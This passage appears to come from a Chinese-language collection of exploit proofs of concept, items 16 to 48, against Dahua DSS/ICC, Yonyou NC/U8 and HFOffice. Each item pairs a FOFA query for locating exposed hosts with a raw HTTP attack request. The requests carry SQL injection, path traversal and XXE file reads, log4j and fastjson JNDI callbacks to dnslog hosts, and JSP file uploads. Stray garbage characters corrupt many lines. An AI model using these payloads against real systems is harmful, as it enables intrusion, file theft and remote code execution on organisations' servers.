( d5 F# b& V/ F) I2 qAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
+ d8 N  b6 j( s( p6 m- xAccept-Language: en
3 U4 Z; T* |* c* zsec-ch-ua-platform: Windows
1 ]3 l/ M) q( J$ b, l4 C3 H" J* F- bAccept-Encoding: gzip


& ]% m8 K5 B& w& i! D7 u, ?; O16.  红帆HFOffice医微云SQL注入
1 G+ @; r3 h! Z; d; m% dFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
) O  ?3 }" s+ S+ k: C/ I# `8 RGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
" |% V  [  T  }" D' e; B" dAccept-Language: en
Accept-Encoding: gzip

# s  J; l) L. {1 W. N, a
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
" a- ]1 k; ]; B, t0 R: s2 dPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
( v: K! w1 P3 E5 sContent-Length: 345
Accept-Encoding: gzip
2 A6 X' H# [( ~$ M
( r, A- w2 v) l$ g<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
8 w/ l3 X9 L0 F' f! D8 S, g      </netMarkings>
+ o" i" P1 F4 _; c8 p' J) v    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>


2 X% B0 {. n6 b4 Q4 l  |18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
  G8 I/ W, B4 WFOFA：app="dahua-DSS"
* I6 _& r) J, u) D* y; v( yGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
( g# X, A( B+ mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 s+ {7 a+ r# j. @0 g: gAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
$ w9 f" T, b3 ]


3 x" D0 I; k% q, y, K6 ^19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
6 B5 u2 c! k/ L3 O: `! ~# x5 EFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
- l8 w. D7 `1 l: p5 v6 xAccept: */*
- B7 X6 m8 ^: p' u' ~2 N% jConnection: keep-alive
! W/ \" o& @7 M* f2 ?) ]

20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
. h6 q% t$ q( r4 K2 iGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- l. o- _0 F) K4 E& IConnection: close
* B5 d9 E, G# i) E  dAccept: */*
Accept-Language: en
Accept-Encoding: gzip

+ z) d8 t3 G9 X8 n8 [3 z
21. 大华ICC智能物联综合管理平台random远程代码执行
. {- ~# `2 X3 ]+ LFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
/ t, G+ c6 P1 U: Y5 e1 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
- @  `' F7 d5 [3 S( p# X, A$ oAccept-Encoding: gzip
: N# h! T7 |& |- {* f8 A. P- GConnection: close
& _+ g* v/ ?/ I4 jContent-Type: application/json;charset=utf-8

{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
& P2 S3 K0 n! E5 e( J  }""
# T5 C& s" A# _( E) f, g8 F}


22. 大华ICC智能物联综合管理平台 log4j远程代码执行
1 P# p, X; t) N) @/ [9 p4 D  {7 J: KFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
) r. |* x# c- ^' ~! P; |* zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
- b8 [4 X: l! Q  X
$ Z3 }; K& O- A  `{
/ L4 }5 ?0 T" k: a3 G+ H"loginName":"${jndi:ldap://dnslog}"
}


2 f- i7 _$ ]+ U$ X+ N; I
0 l- ]' H6 I( o+ l' n& d; y# R23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
: H) O! Y2 c1 nFOFA：icon_hash="-1935899595"
! m: t- K2 @* W9 }2 Q; i7 RPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
3 [2 \1 I; y' A- e) d0 AHost: your-ip
3 A% ~4 f) U) k, W2 d( ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
, ?  B, j" k- Z0 R0 n
" S& W) m# G* B& u8 W- P- Y{
    "a":{
% G5 [- h& i4 f- }) ]        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}

. F, n( P6 B$ t( f" k4 v9 v4 x
/ K( p* I& o# v% M5 w; i! f, g% _24. 用友NC 6.5 accept.jsp任意文件上传
9 i# S. h; F  Y) f; {9 t7 k9 sFOFA：icon_hash="1085941792"
# |7 U6 ^* a3 W+ hPOST /aim/equipmap/accept.jsp HTTP/1.1
) {% r: w6 G7 ~4 n6 v1 s( tHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
- g' O1 U" l( q" y  x3 FContent-Length: 449
' p5 u. A0 t* U0 xAccept: */*
Accept-Encoding: gzip
  x( H( v0 }7 D" W* ^0 ~7 VContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
# S; Q% a; f4 j& }: t/ @  B2 M
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
( r) _+ e( N8 j/ \" [# ~Content-Type: text/plain

& V; z: q7 w  E7 f1 j<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
7 T5 l9 j6 e) z. M-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
8 z( \/ E% ]! m. I% Q6 [
( x' `: B; S; [3 g\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

; R5 _8 \3 F: m" J# D5 r
25. 用友NC registerServlet JNDI 远程代码执行
& t( G. x5 D0 v0 jFOFA：app="用友-UFIDA-NC"
6 e& y) [6 g; [# C& b' h( r% JPOST /portal/registerServlet HTTP/1.1
* e4 S8 {" U1 R3 _* q# p+ h* q) Y  YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
7 H+ [: S  k( ^" J2 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
5 k+ @' H% O! X' ZAccept-Encoding: gzip, deflate
6 W( P& l; h5 K- `& e% j  jAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
, w# R: v( a% z; n7 w) ?- G- p! M4 `* PContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog

% X" ]- e, R& t7 j
7 P  K8 W3 i1 k; B" y) {; B, Y
. `* A3 c% O4 k26. 用友NC linkVoucher SQL注入
" g6 y. j3 _& O. @FOFA：app="用友-UFIDA-NC"
4 S% f# {, D6 QGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
+ Q# H, K( J7 E+ e( k/ a7 w* E
  c9 e( ^  z# [6 m5 x
27. 用友 NC showcontent SQL注入
! _. O( t. D# O5 J9 q0 OFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
! ^5 Z5 E6 ]% e4 KHost: your-ip
: c, y5 k- A; d% n* [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
6 c- w# p2 z( C& c3 a( T8 @% ~6 _Connection: close
Content-Type: text/xml; charset=utf-8
/ f2 z/ [: U* z8 r
( E. m4 A- I& k) O
28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
0 R  b# a2 M: U/ e+ BPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
; n1 e7 H  |4 Q7 R6 f5 R  [7 [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
1 X. F2 ?6 d' ]7 Q$ E# J7 _Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
3 R+ Y/ ^* f/ X& w' MContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

* F  T$ u% d* L6 a4 a, i! V<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

9 z8 C5 |$ M9 }+ D* S
4 P  h+ N' ^; Q3 ]/ e: }/uapim/static/pages/nc/head.jsp
( o6 b! O; t3 j  L" \- ^
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
# D2 ^( d7 c0 f# Q) @1 p2 DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
2 a" M3 h- R9 p: F& f) gConnection: keep-alive
' f" X( o& ?  n" Y+ [2 I
, A, A3 q1 s% j, j( o: y2 o
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
4 \/ Q' m7 T% d7 c1 GContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
1 V$ `3 S% Z+ v% ]" |" PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

; y0 w6 P. F1 e, {------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
; n' h$ V* b- w0 h------WebKitFormBoundaryH970hbttBhoCyj9V--


9 N! T4 [2 \. j: K' X0 o- q. e+ i31. 用友NC runStateServlet SQL注入
& Y* X0 g: d; v) _  |version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% ?  ~% _9 @" v* ?% ?! u) |Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
! {  ?/ a: ~! M5 q. Z1 P5 A- LFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 W6 V( v' v( Z9 U; mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
4 o8 Y+ q- b% }' f. s. n3 C$ ?Accept-Encoding: gzip, deflate
0 q2 q4 Y  J8 O9 L: w+ N, gAccept: */*
Connection: keep-alive

# T* \# d* @7 |6 R9 ?8 H6 k; K3 D
33. 用友NC downTax/download SQL注入
5 M6 k$ b- X- ~4 I4 z* l% Qversion：NC6.5FOFA：app="用友-UFIDA-NC"
. Z7 t* d8 b$ m5 m: V- LGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
' G! T: `8 G) `- }- cHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
& z$ p$ @+ i" MConnection: keep-alive
2 R' O. C1 W, h

34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 ]; W& \% y; q1 _4 F* v5 v+ OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; T$ t9 f7 L4 }* vContent-Type: application/x-www-form-urlencoded
6 X* U* ^) I, j8 R) a; nAccept-Encoding: gzip, deflate
2 l( Y5 z7 E" e& I6 s) jAccept: */*
Connection: keep-alive

7 Q5 {# i- n( T9 r" a4 _
' o! O% Z6 `' p35. 用友NC-Cloud importhttpscer任意文件上传
$ N3 |3 n. Y6 h+ i0 `FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
, D* ?3 ]% s" _Accept-Encoding: gzip, deflate
6 c9 h. v) C, y0 W3 D6 d0 s) j7 ZAccept: */*
9 q" @$ ?/ S0 ?7 x/ NConnection: close
3 k/ O' z0 \0 x# naccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
. Q) w8 @- B0 `, I% ~6 d' v, B' HContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

# I* O7 X0 _9 \" i<%out.println(1111*1111);%>
6 N$ Z) b3 s9 i* {& G0 s/ _% d--fd28cb44e829ed1c197ec3bc71748df0--
2 t" _# M; I+ P, h/ A

0 V$ a8 @' z+ u# D36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
9 M# i0 H1 R( IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
# g0 N: X. D1 E) OUpgrade-Insecure-Requests: 1

7 M' T2 u5 [$ Hmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
2 i/ c3 V0 m% q/ QFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
: D, h+ m4 P4 G8 bHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5 b( B, B$ y) ]/ P# ~Accept-Encoding: gzip, deflate
& s! X" W/ Q. j/ ]Accept-Language: zh-CN,zh;q=0.9
. U! A% z" L2 ~: IConnection: close
1 Z2 W" |, Y& ?, ^Content-Type: text/xml;charset=UTF-8
9 k5 e  d! L& ?5 \/ VSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
+ [  L2 j1 s9 J* [
0 W$ I% q0 n) t<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
7 V, d: d( ?' w<iup:getResult>
& `0 [) S2 }: w1 a+ B  P% F<!--type: string-->
<iup:string><![CDATA[
5 m' \+ u  c" M+ u" N- l<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
% W# g) \9 N  G1 c, L</soapenv:Envelope>



38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
) d5 G! u5 N) B8 \9 jPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
- q0 D6 W- W! L2 G* bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
! [0 r6 i) b9 w# @$ F. EContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
/ j& n7 w6 d/ B5 w6 S2 jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
% R, [, i8 E  W' gContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

2 ~: Y9 A" I: n4 A9 n' q
39. 用友U8 Cloud RegisterServlet SQL注入
$ k$ t: A4 b# n) o8 N% SFOFA：title="u8c"
; R2 j# E  A( w' p4 }POST /servlet/RegisterServlet HTTP/1.1
- O+ E1 d, w, b' r8 c. UHost: 192.168.86.128:8089
# y6 g/ [7 Z3 g3 r. o; W3 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
; g. ?% G1 y/ _. ^7 @Connection: close
2 G7 U8 T$ p8 E9 b; `! ?; A5 B3 GContent-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
4 p) L* C0 a$ ^) ?Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
# i0 }' s1 v: q$ Q) t& s. j3 _

; y1 S. ]. k: t; ~40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
) [3 S) l0 H. j$ i" pPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
4 }. [" a6 P0 x! ?' {9 \Connection: close
" d4 C4 A6 y& ^4 i* E$ j
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
! w4 P& Y1 n" U& L4 {8 B" {9 T
# E9 v/ @1 K; B! B2 {0 a5 |- C
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
+ V+ _! X' ]2 k0 P; H2 dConnection: close
. H& L+ ~; |' G7 m& ?4 x

% F9 A; j. s. R  h" J5 q" s42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
) f, z7 B; ?3 u! g9 O; A$ b
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
6 a% @6 f4 |* _- L. N# A3 tFOFA：app="用友-GRP-U8"
+ ^$ Y3 O9 A; zPOST /services/userInfoWeb HTTP/1.1
! R; c6 e, W! {  vHost: your-ip
9 |6 [0 o6 K) }9 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, z; L2 a  |. f' I9 ?% bAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
2 ^! q8 L7 Q4 J+ ^8 O! k2 rContent-Type: text/xml;charset=UTF-8
7 n1 v" s8 J0 \- t/ n
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
! ^& s' a/ t+ G+ K/ ~   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
/ P: M9 n$ F) M, \& M& E; Y' q6 w2 U         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
5 s1 S' i* L7 Q& N4 N   </soapenv:Body>
: ~: [9 x3 I* W</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
* S- e7 m- _" }7 g  @FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
, e. A" t4 ]' kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
; S% {8 ^$ v: yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& B9 k1 J# h' r$ RAccept-Encoding: gzip, deflate
2 Y% h8 i7 X1 ^Accept-Language: zh-CN,zh;q=0.9
Connection: close


' P5 e  Z1 r9 O45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
% N/ y5 D0 Y2 q* M+ X# u8 GAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
: }# L! _7 n7 w8 a* m# J

+ ]7 t& s- @5 A$ C7 j* C$ [46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
( L) H, S0 X$ ~3 T$ W4 @GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
& J8 U9 e4 z5 q: THost: your-ip
' S3 U8 Q5 M0 |. bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 P8 s9 n) ~2 t, K7 R: rAccept-Language: zh-CN,zh;q=0.9
+ n- S0 y3 Z4 O7 q6 GConnection: close
: z2 P, ]3 O( T4 I4 i7 Y- l9 X
* F* v: G& O) L( g, E% A4 V# x) I
8 v6 J2 D7 F' \& a9 Z47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
8 c. L, \7 Z1 c$ u* LCache-Control: max-age=0
$ U. T* B# b2 ], sUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) f/ s. J- I" Q( y  VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 ~/ h; X/ H4 r" Q% XAccept-Encoding: gzip, deflate, br
' r- \: c' B4 q. r" pAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
% J. v: y0 Z7 ~7 W( @9 |; {7 f, o# @" gConnection: close


# O# d. t' H: Q/ r) s  U
: }6 n0 K# T5 Y" h5 K0 h48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
% e+ h9 F# y& Q' p5 b: t; qHost: your-ip
